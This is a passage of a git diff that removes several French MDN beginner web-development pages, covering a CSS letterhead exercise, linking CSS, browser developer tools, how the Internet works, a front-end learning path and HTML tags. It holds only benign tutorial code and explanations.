Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur  le fil de discussion à propos de cet exercice ou par l'intermédiaire du canal IRC #mdn sur Mozilla IRC. Faites l'exercice d'abord, il n'y rien à gagner en trichant !

- -

{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}

- -

 

- -

Dans ce module

- - diff --git a/files/fr/apprendre/css/styliser_boites/creating_fancy_letterheaded_paper/index.html b/files/fr/apprendre/css/styliser_boites/creating_fancy_letterheaded_paper/index.html deleted file mode 100644 index 8e61584e9d..0000000000 --- a/files/fr/apprendre/css/styliser_boites/creating_fancy_letterheaded_paper/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Création d'un en-tête de papier à lettre élégant -slug: Apprendre/CSS/styliser_boites/Creating_fancy_letterheaded_paper -tags: - - Arrière‑plan - - Boîte - - Boîtes - - CSS - - Codage - - Débutant - - Evaluation - - encadrement - - en‑tête de lettre - - lettre - - lettre avec en‑tête - - papier -translation_of: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Apprendre/CSS/styliser_boites")}}
- -

Si vous voulez faire bonne impression, écrire une lettre sur un beau papier à en-tête peut vraiment être un bon début. Dans cet execice, le défi à relever consiste à créer un modèle en ligne pour obtenir ce bel aspect.

- - - - - - - - - - - - -
Prérequis :Avant de faire cet exercice vous devez avoir vu tous les articles de ce module.
Objectif :Tester votre compréhension du modèle de boîte CSS et toutes les fonctionnalités associées comme l'implémentation d'arrière‑plans.
- -

Départ

- -

Pour débuter cet exercice, vous devez :

- - - -
-

Note : Autrement, vous pouvez utiliser un site comme  JSBin ou Thimble pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément <style> dans l'élément head du document.

-
- -

Résumé du projet

- -

Vous avez les fichiers nécessaires à la création d'un modèle de papier à en-tête. Rassemblez les dossiers. Il  faut :

- -

La lettre

- - - - - - - -

Astuces

- - - -

Exemple

- -

Voici une capture d'écran affichant un exemple de ce à quoi le dessin final ressemblera :

- -

- -

 

- -

Évaluation

- -

Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur  le fil de discussion à propos de cet exercice ou par l'intermédiaire du canal IRC #mdn sur Mozilla IRC. Faites l'exercice d'abord, il n'y rien à gagner en trichant !

- -

{{PreviousMenuNext("Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes/A_cool_looking_box", "Learn/CSS/Styling_boxes")}}

- -

 

- -

Dans ce module

- - diff --git a/files/fr/apprendre/css/utiliser_css_dans_une_page_web/index.html b/files/fr/apprendre/css/utiliser_css_dans_une_page_web/index.html deleted file mode 100644 index ace461991e..0000000000 --- a/files/fr/apprendre/css/utiliser_css_dans_une_page_web/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: Utiliser le CSS dans une page web -slug: Apprendre/CSS/Utiliser_CSS_dans_une_page_web -tags: - - Beginner - - CSS - - CodingScripting - - HTML - - NeedsActiveLearning -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Learn/CSS/Using_CSS_in_a_web_page ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -
-

Cet article explique comment appliquer des styles {{glossary("CSS")}} à vos documents HTML.

-
- - - - - - - - - - - - -
Prérequis :Il peut être utile de savoir comment écrire une page HTML simple et comment configurer les éléments de base d'un site web.
Objectif :Apprendre trois méthodes différentes pour ajouter des éléments de style à votre page web.
- -

Il existe deux méthodes permettant d'appliquer du code CSS à vos documents HTML : écrire du CSS directement dans le document HTML ou bien appeler un fichier CSS externe à partir du document HTML.

- -

Voyons comment appeler des informations CSS en utilisant les balises {{htmlelement("style")}} et {{htmlelement("link")}} et analysons ce qui se passe quand les deux balises sont utilisées conjointement.

- -

Pédagogie active

- -

Il n'y a, pour le moment, pas d'apprentissage actif pour cette section. Vous pouvez néanmoins contribuer.

- -

Aller plus loin

- -

La balise  <style>

- -

Lorsque vous souhaitez mettre en forme une page, vous avez la possibilité d'inclure tout le formatage directement dans le document HTML à l'aide de la balise {{htmlelement("style")}} :

- -
<!DOCTYPE html>
-<html>
-<head>
-    <title>La fameuse page « Hello World »</title>
-
-    <style>
-        body {
-            background:white;
-            color:blue;
-        }
-    </style>
-
-</head>
-  <body>
-    <p>Hello world!</p>
-  </body>
-</html>
- -

Comme nous l'avons déjà souligné, ce n'est pas la meilleure méthode pour mettre en forme une page web puisque, dans ce cas, il sera nécessaire de répéter cette portion de code dans toutes les autres pages de votre site. Cela sollicitera de la bande passante supplémentaire et vous fera également perdre du temps puisqu'il faudra recopier les styles à chaque fois pour mettre à jour chaque page.

- -

Néanmoins, comme nous le verrons à la fin, cette façon de procéder peut s'avérer utile lorsque l'objectif est d'appliquer un style à une seule page de votre site.

- -

La balise <link>

- -

La balise {{htmlelement("link")}} permet, entre autres choses, d'appliquer un formatage au document donné à partir d'une feuille de style externe. Lorsqu'un certain nombre de documents HTML utilisent cette même feuille de style, vous pouvez simplement modifier la mise en page de l'ensemble des documents grâce à un seul fichier.

- -

Prenons l'exemple de ce code CSS et plaçons le dans un fichier demo.css :

- -
/* demo.css */
- body {
-     background:white;
-     color:blue;
- }
- -

Chaque fois qu'on a besoin d'appliquer ce style à un document, il suffit alors d'appeler le fichier demo.css grâce à la balise link :

- -
<!DOCTYPE html>
-<html>
-<head>
-    <title>La fameuse page « Hello World »</title>
-
-    <link rel="stylesheet" href="demo.css">
-
-</head>
-  <body>
-    <p>Hello world!</p>
-  </body>
-</html>
- -
-

Pour en savoir plus sur la configuration des fichiers sur un serveur, vous pouvez vous reférer à la section Comment configurer les éléments de base d'un site web.

-
- -

Chaque page qui appellera le fichier demo.css via la balise link bénéficiera alors des styles contenus dans le fichier CSS. Cela permet non seulement de réduire la taille des fichiers HTML, de plus le système de cache (du serveur web, des serveurs de proxies et du navigateur) sera capable de lire le fichier demo.css autant de fois que nécessaire alors qu'il ne sera chargé en mémoire qu'une seule fois. Les performances en seront très largement améliorées.

- -
-

Alternative imparfaite : <style> + @import

- -

A la place de la balise <link>, vous trouverez peut-être parfois cette syntaxe :

- -
<style type="text/css">
-        @import url(demo.css);
-    </style>
- -

C'est une autre façon d'arriver au même résultat, mais nous recommandons d'utiliser <link> pour des raisons de performance (à l'inverse d' @import, la balise <link> permet en effet le téléchargement en parallèle de plusieurs ressources CSS). Il y a quelques années il était courant d'utiliser @import dans certains cas spécifiques de manière à ce que les anciens navigateurs ne lisent pas les instructions de formatage qu'ils ne supportaient pas correctement.

-
- -

Utiliser <style> et <link> ensemble

- -

Les possibilités deviennent encore plus intéressantes lorsqu'on mélange les deux méthodes. Dans les paragraphes précédents, nous avons mentionné le fait que la balise style pouvait être utile si la mise en forme s'applique à un seul document du site.

- -

Dans un premier temps on appelle donc toujours le fichier demo.css, ainsi la page affiche un texte bleu sur un fond blanc. Mais pour des raisons spécifiques, il se trouve que pour cette page on préfère un texte rouge. On va alors coupler ces deux méthodes :

- -
    -
  1. Comme d'habitude on lie en premier notre feuille de style grâce à la balise link.
    2. -
  2. Grâce à la cascade, chaque style s'applique l'un après l'autre.
    3. -
  3. Puis avec une balise style, on annule le texte bleu défini par color sur une seule page du site.
    4. -
- -

Voici le code du fichier demo.css :

- -
/* demo.css */
-body {
-    background:white;
-    color:blue;
-}
-
- -

On comprend que tout le texte de la page doit être en bleu sur un fond blanc. Voici maintenant le document HTML :

- -
<!DOCTYPE html>
-<html>
-<head>
-    <title>La fameuse page « Hello World »</title>
-    <link rel="stylesheet" href="demo.css">
-
-    <style type="text/css">
-        body {
-            color:red;
-        }
-    </style>
-
-</head>
-  <body>
-    <p>Hello world!</p>
-  </body>
-</html>
- -

On appelle d'abord la feuille de style de façon à obtenir le fond blanc et un texte bleu. Ensuite, pour cette page seulement, on ignore le formatage du texte en bleu pour le remplacer par la couleur rouge à l'aide de la balise <style>  (demo.css continue néanmoins de gérer tous les autres styles).

- -

Prochaines étapes

- -

Maintenant que vous savez comment appliquer des styles CSS à un document HTML, deux options s'offrent à vous :

- - diff --git "a/files/fr/apprendre/d\303\251couvrir_outils_d\303\251veloppement_navigateurs/index.html" "b/files/fr/apprendre/d\303\251couvrir_outils_d\303\251veloppement_navigateurs/index.html" deleted file mode 100644 index 71d3585366..0000000000 --- "a/files/fr/apprendre/d\303\251couvrir_outils_d\303\251veloppement_navigateurs/index.html" +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: Découvrir les outils de développement des navigateurs -slug: Apprendre/Découvrir_outils_développement_navigateurs -tags: - - Beginner - - Browser - - CSS - - CodingScripting - - DevTools - - HTML - - JavaScript - - Learn -translation_of: Learn/Common_questions/What_are_browser_developer_tools ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -
{{Previous("Apprendre/Commencer_avec_le_web")}}
- -
-

Tous les navigateurs modernes possèdent un ensemble d'outils destinés aux développeurs. Ces outils permettent de réaliser différentes actions : inspecter le code HTML, CSS ou JavaScript chargé à la volée dans la page, montrer les fichiers téléchargés et le temps de chargement, etc. Dans cet article, nous verrons comment utiliser les fonctionnalités basiques des outils de développements d'un navigateur (parfois appelés avec l'anglicisme « devtools »).

-
- -
-

Note : Avant de poursuivre avec les exemples présentés ci-après, nous vous conseillons d'utiliser l'exemple construit dans la série d'articles Commencer avec le Web et d'ouvrir le site dans votre navigateur pour poursuivre avec les étapes suivantes.

-
- -

Comment ouvrir les outils de développement d'un navigateur

- -

Les devtools s'affichent généralement dans une sous-fenêtre du navigateur, de la façon suivante (cela peut varier légèrement) :

- -

Affichage de la fenêtre principale avec les devtools ouverts

- -

Comment faire pour que cette sous-fenêtre apparaisse ? Trois méthodes :

- - - -

Menu contextuel suite au clic-droit

- -

L'inspecteur : explorateur du DOM et éditeur CSS

- -

Lorsqu'ils s'ouvrent, les outils de développement s'affichent comme illustré dans la capture d'écran ci-après. Cet outil permet de voir le HTML présent sur la page au moment où celle-ci est affiché, de façon dynamique. Il permet aussi de voir quelles règles CSS sont appliquées pour chaque élément de la page. Grâce à cet outil, on peut modifier le HTML et le CSS de façon instantanée et voir les changements appliqués immédiatement à la page affichée dans le navigateur.

- -

Affichage de la fenêtre principale avec les devtools ouverts

- -

Si vous n'arrivez pas sur l'inspecteur :

- - - -

Manipuler l'inspecteur du DOM

- -

Pour commencer, cliquez-droit sur un élément HTML dans l'inspecteur du DOM et regardez le menu contextuel qui s'affiche. Les options du menu qui apparaît peuvent varier d'un navigateur à un autre mais les options les plus importantes s'y trouvent toujours :

- -

Menu contextuel ouvert suite à un clic-droit sur un élément HTML dans l'explorateur du DOM

- - - -

Essayez d'éditer le DOM de votre page. Double-cliquez sur un élément ou cliquez-droit puis choisissez « Modifier comme HTML » depuis le menu contextuel. Vous pouvez modifier tout ce que vous voulez mais vous ne pouvez pas sauvegarder vos modifications.

- -

Manipuler l'éditeur CSS

- -

Par défaut, l'éditeur CSS affiche les règles CSS qui s'appliquent à l'élément qui est sélectionné :

- -

- -

Ces fonctionnalités sont plutôt pratiques :

- - - -

Vous aurez remarqué plusieurs onglets en haut du panneau pour le CSS :

- - - -

En savoir plus

- -

Pour en apprendre plus sur l'inspecteur présent dans les différents navigateurs, les ressources suivantes pourront vous être particulièrement utiles :

- - - -

La console JavaScript

- -

La console JavaScript est un outil formidable pour déboguer du code JavaScript qui ne fonctionne pas comme on le souhaite. Elle permet d'exécuter des lignes de JavaScript sur la page qui est actuellement chargée dans le navigateur et de rapporter les erreurs rencontrées lorsque le navigateur souhaite exécuter le code. Pour accéder à la console dans n'importe quel navigateur, il suffit de cliquer/appuyer sur l'onglet Console (sous Internet Explorer, appuyez sur Ctrl + 2.) Cela affichera une fenêtre qui ressemblera à :

- -

Console JavaScript

- -

Pour voir comment la console se comporte, essayez de saisir les fragments de code suivants dans la console (un par un), en appuyant sur Entrée après chaque :

- -
    -
  1. - 
    alert('Coucou !');
    -
    2. -
  2. - 
    document.querySelector('html').style.backgroundColor = 'purple';
    -
    3. -
  3. - 
    var monImage = document.createElement('img');
-monImage.setAttribute('src','https://c1.staticflickr.com/1/572/20463320350_58483f6bed.jpg');
-document.querySelector('h1').appendChild(monImage);
    -
    4. -
- -

Maintenant, essayez de saisir les fragments de code suivants, qui sont incorrects, pour voir ce qui se passe :

- -
    -
  1. - 
    alert('coucou !);
    -
    2. -
  2. - 
    document.cheeseSelector('html').style.backgroundColor = 'purple';
    -
    3. -
  3. - 
    var monImage = document.createElement('img');
-maBanane.setAttribute('src','https://c1.staticflickr.com/1/572/20463320350_58483f6bed.jpg');
-document.querySelector('h1').appendChild(monImage);
    -
    4. -
- -

Vous devriez voir différentes erreurs fournies par le navigateur. À première vue, ces erreurs semblent un peu étranges et complexes mais elles devraient être simples à résoudre !

- -

En savoir plus

- -

Pour en apprendre plus sur la console JavaScript présente dans les différents navigateurs, les ressources listées ici devraient vous être utiles :

- - diff --git a/files/fr/apprendre/fonctionnement_internet/index.html b/files/fr/apprendre/fonctionnement_internet/index.html deleted file mode 100644 index b4f81c9acf..0000000000 --- a/files/fr/apprendre/fonctionnement_internet/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Le fonctionnement de l'Internet -slug: Apprendre/Fonctionnement_Internet -tags: - - Beginner - - Internet - - WebMechanics -translation_of: Learn/Common_questions/How_does_the_Internet_work ---- -
-

Dans cet article, nous expliquons ce qu'est l'Internet et comment il fonctionne.

-
- - - - - - - - - - - - -
Prérequis :Aucun, mais nous vous encourageons à lire l'article Commencez votre projet Web avant celui-ci.
Objectif :Vous apprendrez les rudiments de l'infrastructure technique du Web et vous serez en mesure de distinguer « Internet » et « Web ».
- -

Résumé

- -

L'Internet est l'épine dorsale du Web : il s'agit de l'infrastructure technique qui sous-tend le Web. De façon simple, l'Internet est un vaste réseau d'ordinateurs qui communiquent les uns avec les autres.

- -

L'histoire des débuts de l'Internet est quelque peu nébuleuse. Tout aurait commencé dans les années 1960 par un projet de recherche subventionné par le département de la Défense des États-Unis. L'Internet serait ensuite devenu, dans les années 1980, une infrastructure publique grâce au soutien de nombreuses universités publiques et entreprises privées. Les diverses technologies qui sous-tendent l'Internet ont évolué au fil du temps, mais son fonctionnement de base a, quant à lui, peu changé. L'Internet demeure un moyen de relier tous les ordinateurs entre eux et de s'assurer que ce lien perdure, peu importe les problèmes qui pourraient toucher le réseau.

- -

Pédagogie active

- - - -

Allons plus loin

- -

Un réseau de base

- -

Pour que deux ordinateurs puissent communiquer entre eux, ils doivent être liés soit par un lien physique (généralement par un câble Ethernet), soit sans fil (par exemple, via WiFi ou Bluetooth). Tous ces types de connexions sont possibles sur les ordinateurs modernes.

- -
-

Note : À partir de maintenant, nous ne parlerons que de connexions physiques, mais sachez que les explications ci-dessous sont tout aussi valides pour les réseaux sans fil.

-
- -

Two computers linked together

- -

Un réseau comme celui illustré ci-haut n'est pas limité à deux ordinateurs. Vous pouvez y connecter autant d'ordinateurs que vous le souhaitez, mais le tout se complique très rapidement. Ainsi, si vous voulez relier, disons, dix ordinateurs entre eux, vous aurez besoin de 45 câbles et de neuf prises sur chaque ordinateur!

- -

Ten computers all together

- -

Afin de résoudre ce problème, chaque ordinateur du réseau est relié à un petit ordinateur bien spécial que l'on appelle routeur. Ce routeur n'a qu'une seule fonction : tout comme un signaleur de gare de train, il s'assure que les messages transmis par un ordinateur donné se rendent au bon ordinateur destinataire. Ainsi, pour envoyer un message à l'ordinateur B, l'ordinateur A transmet d'abord le message au routeur, qui s'assure alors de transférer le message à l'ordinateur B et non à l'ordinateur C.

- -

Vous voyez donc que lorsque nous ajoutons un routeur dans notre structure, notre réseau de dix ordinateurs ne requiert alors que de dix câbles, d'une prise par ordinateur et d'un routeur de 10 ports.

- -

Ten computers with a router

- -

Un réseau de réseaux

- -

Jusqu'ici tout est beau, mais comment fait-on pour relier des centaines, des milliers ou même des millards d'ordinateurs entre eux ? Bien évidemment, un seul routeur ne pourrait suffire pour tant de connexions. Cependant, si vous avez lu attentivement, vous aurez constaté qu'un routeur n'est en réalité qu'un ordinateur. Serait-ce alors possible de lier deux routeurs ? Oui, absolument, et en voici le résultat!

- -

Two routers linked together

- -

En liant les ordinateurs à des routeurs, puis les routeurs entre eux, nous avons la capacité d'étendre le réseau indéfiniment.

- -

Routers linked to routers

- -

Un tel réseau s'apparente de près à ce que nous appelons l'Internet, mais il y a un élément manquant. Ce réseau a été conçu pour répondre à nos besoins personnels, mais d'autres réseaux existent également. Vos amis, vos voisins et plein d'autres gens peuvent avoir leurs propres réseaux d'ordinateurs. Cependant, il vous est plutôt impossible de brancher des câbles entre votre maison et le reste de la planète, alors que faire ? Eh bien, il se trouve que votre maison est déjà câblée et liée aux réseaux électrique et téléphonique. L'infrastructure téléphonique, qui lie déjà votre maison au reste de la planète, répond parfaitement à nos besoins. Afin de lier notre réseau à l'infrastructure téléphonique, nous devons utiliser un appareil spécialisé appelé modem. Ce modem convertit l'information de notre réseau en information décodable par l'infrastructure téléphonique et vice-versa.

- -

A router linked to a modem

- -

Notre réseau est donc lié à l'infrastructure téléphonique. La prochaine étape consiste alors à transmettre avec succès nos messages au réseau cible. À cette fin, nous allons lier notre réseau à un Fournisseur d'accès à Internet (FAI). Un FAI est une entreprise qui gère des routeurs qui sont liés entre eux et qui ont des droits d'accès aux routeurs d'autres FAI. Le message transmis par notre réseau est ainsi transporté à travers le réseau de FAI afin d'atteindre le réseau cible. Voilà en quoi consiste l'Internet : il s'agit de toute cette infrastructure de réseaux (dans les schémas suivants, ISP signifie FAI, c'est le terme anglais pour fournisseur d'accès).

- -

Full Internet stack

- -

Localiser un ordinateur

- -

Lorsque nous souhaitons transmettre un message à un ordinateur, nous devons préciser de quel ordinateur il s'agit. Par conséquent, chaque ordinateur lié à un réseau possède une adresse unique appelée « adresse IP » (où « IP » signifie Internet Protocol) qui sert à localiser l'ordinateur. Cette adresse est composée d'une série de nombres séparés par des points, par exemple : 192.168.2.10  ou de lettres et de chiffres séparés par deux points. 2001:0db8:85a3:0000:0000:8a2e:0370:7334.

- -

C'est une méthode très efficace pour les ordinateurs, mais les humains ont un peu plus de difficulté à retenir de telles adresses numériques. Afin de se faciliter la tâche, un libellé alphabétique, appelé nom de domaine, est souvent associé aux adresses IP. Par example, google.com est le nom de domaine associé à l'adresse IP 173.194.121.32. L'utilisation d'un nom de domaine est ainsi le moyen le plus facile d'atteindre un ordinateur via l'Internet.

- -

Show how a domain name can alias an IP address

- -

L'Internet et le web

- -

Vous aurez peut-être constaté que lorsque nous naviguons sur le Web avec un navigateur Web, nous utilisons un nom de domaine pour rejoindre un site web. Est-ce donc dire qu'Internet et Web réfèrent à une seule et même notion ? La réponse n'est pas si simple. Comme nous l'avons vu, l'Internet est une infrastructre technique qui lie des milliards d'ordinateurs entre eux. Parmi ces ordinateurs, certains ordinateurs (appelés serveurs Web) peuvent transmettre des messages décodables par les navigateurs Web. Ainsi, l'Internet est une infrastructure, alors que le Web est un service utilisant l'infrastructure de l'Internet. Il importe de mentionner que d'autres services utilisent l'infrastructure de l'Internet, comme le courriel et {{Glossary("IRC")}}.

- -

Étapes suivantes

- - diff --git a/files/fr/apprendre/front-end_web_developer/index.html b/files/fr/apprendre/front-end_web_developer/index.html deleted file mode 100644 index e520a7a9a3..0000000000 --- a/files/fr/apprendre/front-end_web_developer/index.html +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: Développeur web front-end -slug: Apprendre/Front-end_web_developer -translation_of: Learn/Front-end_web_developer ---- -

{{learnsidebar}}

- -

Bienvenue dans notre parcours d'apprentissage pour les développeurs Web front-end!

- -

Ici, nous vous proposons un cours structuré qui vous apprendra tout ce que vous devez savoir pour devenir un développeur Web front-end. Parcourez simplement chaque section, en apprenant de nouvelles compétences (ou en améliorant celles existantes) au fur et à mesure. Chaque section comprend des exercices et des évaluations pour tester votre compréhension avant d'aller de l'avant.

- -

Sujets abordés

- -

Les sujets abordés sont :

- - - -

Vous pouvez parcourir les sections dans l'ordre, mais chacune d'elles est également indépendante. Par exemple, si vous connaissez déjà le HTML, vous pouvez passer à la section CSS.

- -

Prérequis

- -

Vous n'avez pas besoin de connaissances préalables pour commencer ce cours. Tout ce dont vous avez besoin, c'est d'un ordinateur capable de faire fonctionner des navigateurs web modernes, d'une connexion internet et d'une volonté d'apprendre.

- -

Si vous n'êtes pas sûr que le développement web front-end est fait pour vous, et/ou si vous souhaitez une introduction en douceur avant de commencer un cours plus long et plus complet, consultez d'abord notre module Commencer avec le web.

- -

Obtenir de l'aide

- -

Nous avons essayé de rendre l'apprentissage du développement web front-end aussi simple que possible, mais vous resterez probablement bloqué parce que vous ne comprenez pas quelque chose, ou parce que du code ne fonctionne pas.

- -

Ne paniquez pas. Nous avons tous des problèmes, que nous soyons débutants ou professionnels du développement web. L'article Apprendre et obtenir de l'aide avous donne une série de conseils pour rechercher des informations et vous aider. Si vous êtes toujours bloqués, n'hésitez pas à poser une question sur notre forum de discussion.

- -

Allons-y. Bonne chance !

- -

Le parcours d'apprentissage

- -

Pour commencer

- -

Temps nécessaire: 1–2 heures

- -

Prérequis

- -

Rien d'autre que des connaissances de base en informatique.

- -

Comment saurai-je que je suis prêt à passer à autre chose ?

- -

Il n'y a pas d'évaluation dans cette partie du cours. Mais assurez-vous de ne pas sauter d'étape. Il est important de vous préparer à faire des exercices plus tard dans le cours.

- -

Guides fondamentaux

- - - -

Sémantique et structure avec HTML

- -

Temps nécessaire: 35–50 heures

- -

Prérequis

- -

Rien d'autre que des connaissances informatiques de base, et un environnement de développement web de base.

- -

Comment saurai-je que je suis prêt à passer à autre chose ?

- -

Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet.  En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.

- -

Guides fondamentaux

- - - -

Design et mise en page avec le CSS

- -

Temps nécessaire: 90–120 heures

- -

Prérequis

- -

Il est recommandé d'avoir des connaissances de base en HTML avant de commencer à apprendre le CSS. Vous devriez au moins étudier l'introduction au HTML d'abord.

- -

Comment saurai-je que je suis prêt à passer à autre chose ?

- -

Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet.  En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.

- -

Guides fondamentaux

- - - -

Ressources complémentaires

- - - -

Interactivité avec JavaScript

- -

Temps nécessaire: 135–185 heures

- -

Prérequis

- -

ll est recommandé d'avoir des connaissances de base en HTML avant de commencer à apprendre JavaScript. Vous devriez au moins étudier l'Introduction au HTML d'abord.

- -

Comment saurai-je que je suis prêt à passer à autre chose ?

- -

Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet.  En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.

- -

Guides fondamentaux

- - - -

Formulaires web - Travailler avec les données des utilisateurs

- -

Temps nécessaire: 40–50 heures

- -

Prérequis

- -

Les formulaires nécessitent des connaissances en HTML, CSS et JavaScript. Étant donné la complexité du travail avec les formulaires, il s'agit d'un sujet spécifique.

- -

Comment saurai-je que je suis prêt à passer à autre chose ?

- -

Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet.  En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.

- -

Guides fondamentaux

- - - -

Faire profiter le Web à tout le monde

- -

Temps nécessaire: 60–75 heures

- -

Prérequis

- -

Il est conseillé de connaître les langages HTML, CSS et JavaScript avant de parcourir cette section. De nombreuses techniques et meilleures pratiques concernent de multiples technologies.

- -

Comment saurai-je que je suis prêt à passer à autre chose ?

- -

Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet.  En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant..

- -

Guides fondamentaux

- - - -

Outils modernes

- -

Temps nécessaire: 55–90 heures

- -

Prérequis

- -

Il est conseillé de connaître les langages HTML, CSS et JavaScript avant de parcourir cette section, car les outils abordés fonctionnent en parallèle avec bon nombre de ces technologies.

- -

Comment saurai-je que je suis prêt à passer à autre chose ?

- -

Il n'y a pas d'articles d'évaluation spécifiques dans cet ensemble de modules. Les études de cas à la fin des deuxième et troisième modules vous préparent à saisir l'essentiel des outils modernes.

- -

Guides fondamentaux

- - diff --git a/files/fr/apprendre/html/balises_html/index.html b/files/fr/apprendre/html/balises_html/index.html deleted file mode 100644 index 7e449e92e0..0000000000 --- a/files/fr/apprendre/html/balises_html/index.html +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: Les balises HTML et leur rôle -slug: Apprendre/HTML/Balises_HTML -tags: - - Beginner - - CodingScripting - - HTML -translation_of: Learn/HTML/Introduction_to_HTML -translation_of_original: Learn/HTML/HTML_tags ---- -
-

Cet article aborde les bases de {{Glossary("HTML")}} : les balises et comment les utiliser.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable connaître la différence entre une page web et un site web et savoir comment créer un document HTML simple.
Objectifs :Apprendre ce que sont les balises HTML et comment les utiliser correctement dans un document HTML.
- -

{{Glossary("HTML")}} (HyperText Markup Language) est un langage descriptif utilisé pour structurer le contenu d'une page (ses textes, ses images, ses liens, etc.).

- -

Un document HTML est un fichier texte qui contient des {{glossary("balise","balises")}} (ou tag en anglais). Ces balises doivent être utilisées d'une certaine façon pour décrire correctement la structure du document. Les balises indiquent au navigateur comment afficher le document, certaines balises permettent d'intégrer différents médias comme des images, des vidéos ou des musiques parmi le texte de la page.

- -

Le navigateur n'affiche pas les balises telles quelles. Lorsqu'un utilisateur visite une page web, son navigateur analyse (ou parse en anglais) le document et l'interprète afin d'afficher la page web correctement. Par exemple, si le document contient une balise {{HTMLElement("img")}}, le navigateur chargera l'image associée et affichera l'image à la place de la balise HTML.

- -

La syntaxe des balises

- -

Les balises HTML respectent une syntaxe simple et stricte :

- - - -

Voici quelques exemples :

- - - -

Les éléments HTML

- -

Généralement, les balises fonctionnent par paires. La première balise est la balise ouvrante et la seconde est la balise fermante. Une balise fermante doit avoir le même nom que la balise ouvrante correspondante. De plus, une balise fermante doit contenir une barre oblique entre le chevron initial et le nom de la balise. Ainsi, si <p> est une balise ouvrante, </p> sera la balise fermante correspondante.

- -

Un élément HTML se compose d'une balise ouvrante, d'un contenu textuel et d'une balise fermante :

- -

The basic syntax of HTML tags

- -

La rigidité des conventions pour la fermeture des balises est utile afin de pouvoir imbriquer différents éléments les uns dans les autres :

- -
<p>
-  Voici le début du paragraphe
-    <strong>
-      ici un texte important au sein du paragraphe
-    </strong>
-  et là, la fin du paragraphe.
-</p>
-
- -
-

Bonne pratique : Si vous omettez les balises fermantes, le navigateur aura les coudées franches pour déterminer comment clôturer un élément. Ces règles sont bien définies mais souvent contre-intuitives (donc difficiles à deviner). Afin de vous épargner des pertes de temps à venir, préférez fermer les éléments.

-
- -

Les balises HTML

- -

HTML contient environ 140 balises qui fournissent au navigateur des indications sur le sens d'un élément, son interprétation ou son affichage. Entre autres choses, les balises permettent de fournir des méta-données pour le document HTML, de mettre en avant certaines phrases, d'ajouter des fichiers multimédias ou de gérer des formulaires en ligne.

- -

Voici quelques-unes des balises les plus fréquemment utilisées :

- -
-
{{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}
-
Ces balises permetttent de définir des titres de différents niveaux : h1 pour les grands titres et h6 pour les titres des sections très spécifiques.
-
{{HTMLElement("p")}}
-
La balise utilisée pour créer des paragraphes. Ces paragraphes sont généralement (automatiquement) séparés par des sauts de ligne.
-
{{HTMLElement("a")}}
-
Cette balise est utilisée afin de créer des liens vers des ressources externes : une autre page web, un e-mail, une image, une autre section du document, etc. Les balises {{HTMLElement("a")}} contiennent le texte qui sera utilisé pour le lien, l'attribut {{htmlattrxref("href","a")}} de cet élément est utilisé pour définir l'{{glossary("URL")}} cible : <a href="url_cible">du texte qui sera lu par l'utilisateur</a>.
-
{{HTMLElement("img")}}
-
Cette balise permet d'intégrer une image dans un document HTML. Voici un exemple d'utilisation : <img src="url/vers/mon/image.png" alt="Une description">
-
- -
-
{{HTMLElement("div")}} et {{HTMLElement("span")}}
-
Ces balises n'ont pas de signification particulière, elles permettent simplement de séparer des sections d'un document. La plupart du temps, ces balises sont utilisées pour la mise en forme et le script (dont nous discuterons plus tard).
-
{{HTMLElement("ul")}}, {{HTMLElement("ol")}} et {{HTMLElement("li")}}
-
Ces balises sont utilisées pour créer des listes. <ul> permet de définir une liste non-ordonnée et <ol> de définir une liste ordonnée. Pour chacune de ces listes, ce sera la balise  <li> qui permettra de définir un élément de la liste. Voici un exemple avec <ul> :
-
- -
 <ul>
-  <li>Café</li>
-  <li>Thé</li>
-  <li>Lait</li>
-</ul>
- -

N'hésitez pas à expérimenter avec ces balises. Dans les articles suivants, nous verrons comment intégrer des fichiers multimédias, des formulaires, des tableaux, etc. Dans tous les cas, vous pouvez faire vos propres tests avec n'importe quelle balise HTML. Assurez-vous de bien choisir la bonne balise pour ce que vous souhaitez faire : la sémantique des éléments HTML est très importante, notamment pour les moteurs de recherches qui analysent et classent votre site.

- -

Pédagogie active

- -

Cet article ne contient pas encore de matériau interactif. N'hésitez pas à contribuer.

- -

Aller plus loin

- -

Pour l'instant, nous avons vu quelques règles simples concernant les éléments et les balises HTML. Mais c'est bien connu, chaque règle a ses exceptions.

- -

